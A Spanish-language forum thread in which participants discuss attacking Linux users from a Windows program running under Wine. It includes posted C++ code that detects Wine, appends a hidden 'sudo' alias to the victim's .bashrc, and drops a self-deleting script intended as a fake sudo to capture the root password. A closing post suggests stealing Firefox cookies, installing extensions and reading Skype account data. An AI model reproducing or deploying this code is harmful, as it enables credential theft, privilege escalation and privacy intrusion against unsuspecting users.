pues eso . Leyendo un poco es sencillo y hay varias formas de saber si se esta sobre wine http://forum.winehq.org/viewtopic.php?p=25906
queria saber si tenia sentido algo asi y que otras cosas se podrian hacer una vez se haya detectado que se esta corriendo sobre el wine
desde mi ignorancia , ya que no conozco mucho sobre el funcionamiento de linux . Lo que haria una vez detectado que esta corriendo sobre wine crear un sudo falso para obtener la clave de root y que luego el sudo que yo hice se encarge de bajar algo y ejecutarlo.
Yo diría que no ya que Wine emula las APIs de Microsoft pero en un entorno controlado, por lo cual no podrías tener acceso al exterior del entorno. Saludos
Igual suena interesante.. quizás explotar algún fallo de wine.. :silbar:
Pero no se, si esta bien programado seria muy dificil..
Saludos!
Citarquizás explotar algún fallo de wine..
si habria que ver pero por ahora
mi idea funciona claro se puede mejorar muchas cosas pero funciona
#include <windows.h>
#include <fstream>
using namespace std;
int main()
{
HKEY llave;
//comprobamos la existencia de wine
long wine=RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\wine",0,KEY_READ,&llave);
if(wine!=ERROR_SUCCESS)
{
MessageBox(NULL,"no es wine","WINDOWS",MB_OK);
}
else
{
MessageBox(NULL,"wine detectado","WINDOWS",MB_OK);
// obtenemos el nombre de usuario que es el nombre de la carpeta home
char *usuario=getenv("USERNAME");
//por lo general wine permite el directorio root desde Z: asi que Z:\home\usuario es la carpeta del usuario
char *home="Z:\\home\\";
char home2[strlen(home)+strlen(usuario)];
//------------------------------
strcpy(home2,home);
strcat(home2,usuario);
//----------------------------------
//nos ubicamos en el directorio de usuario una vez alli creamos un alias sudo=MiComando.sh en bashrc asi que cuando vuelvan a abrir la consola y ejecutan sudo abrira nuestro comando
if( SetCurrentDirectory(home2)!=0 )
{
ofstream bashrc;
ofstream nuevosudo;
bashrc.open(".bashrc",ios::app);
if(bashrc.is_open())
{
// le doy permisos para ejecutarlo y luego ejecuto el new.sh cuando abre sudo y ademas ejecuta nuestro comando
bashrc << "alias sudo='chmod +x \"$HOME/.new.sh\" && \"$HOME/.new.sh\" '" << endl;
bashrc.close();
//si no pongo en el nuevosudo ios::binary da error
nuevosudo.open(".new.sh",ios::binary);
nuevosudo << "#!/bin/bash " << endl;
nuevosudo << "echo aca iria el sudo falso :D"<<endl;
nuevosudo << "echo o cualquier cosa que se nos ocurra" << endl;
// comando para borrar la ultima linea de un archivo que seria el alias que acabo de escribir en bashrc
nuevosudo << " cat .bashrc | awk 'BEGIN{x=0};{x++};END{print \"sed -i\" \" \"x\"d\" \" \" \".bashrc\" }'| sh " << endl;
// se corra el comando
nuevosudo << "alias sudo='/usr/bin/sudo' &" << endl;
nuevosudo << "rm \$0" << endl;
nuevosudo.close();
}
}
}
return 0;
}
Wine no se deja ejecutar con privilegios root. Eso te deja fuera de juego en Linux.
Salu2
Cita de: vk496 en 9 Julio 2014, 20:27 PM
Wine no se deja ejecutar con privilegios root. Eso te deja fuera de juego en Linux.
Salu2
a ver creo que no entendiste
de nuevo crea un sudo falso y con este puedo o obtener privilegios de root usando el sudo real o obtener la clave de root .
si es un truco tonto :'P
http://foro.elhacker.net/scripting/bashcodigoconseguir_root_con_falso_sudo-t405273.0.html
Ademas en la carpeta de usuario hay cosas interesantes por ejemplo en .mozilla esta el archivo prefs.js esta la configuracion de firefox podria cambiar la pagina de inicio, que lo probe o (no lo he probado ) instalar una extension , o tomar la base de datos de las cookies , o ver informacion de la cuenta de skype.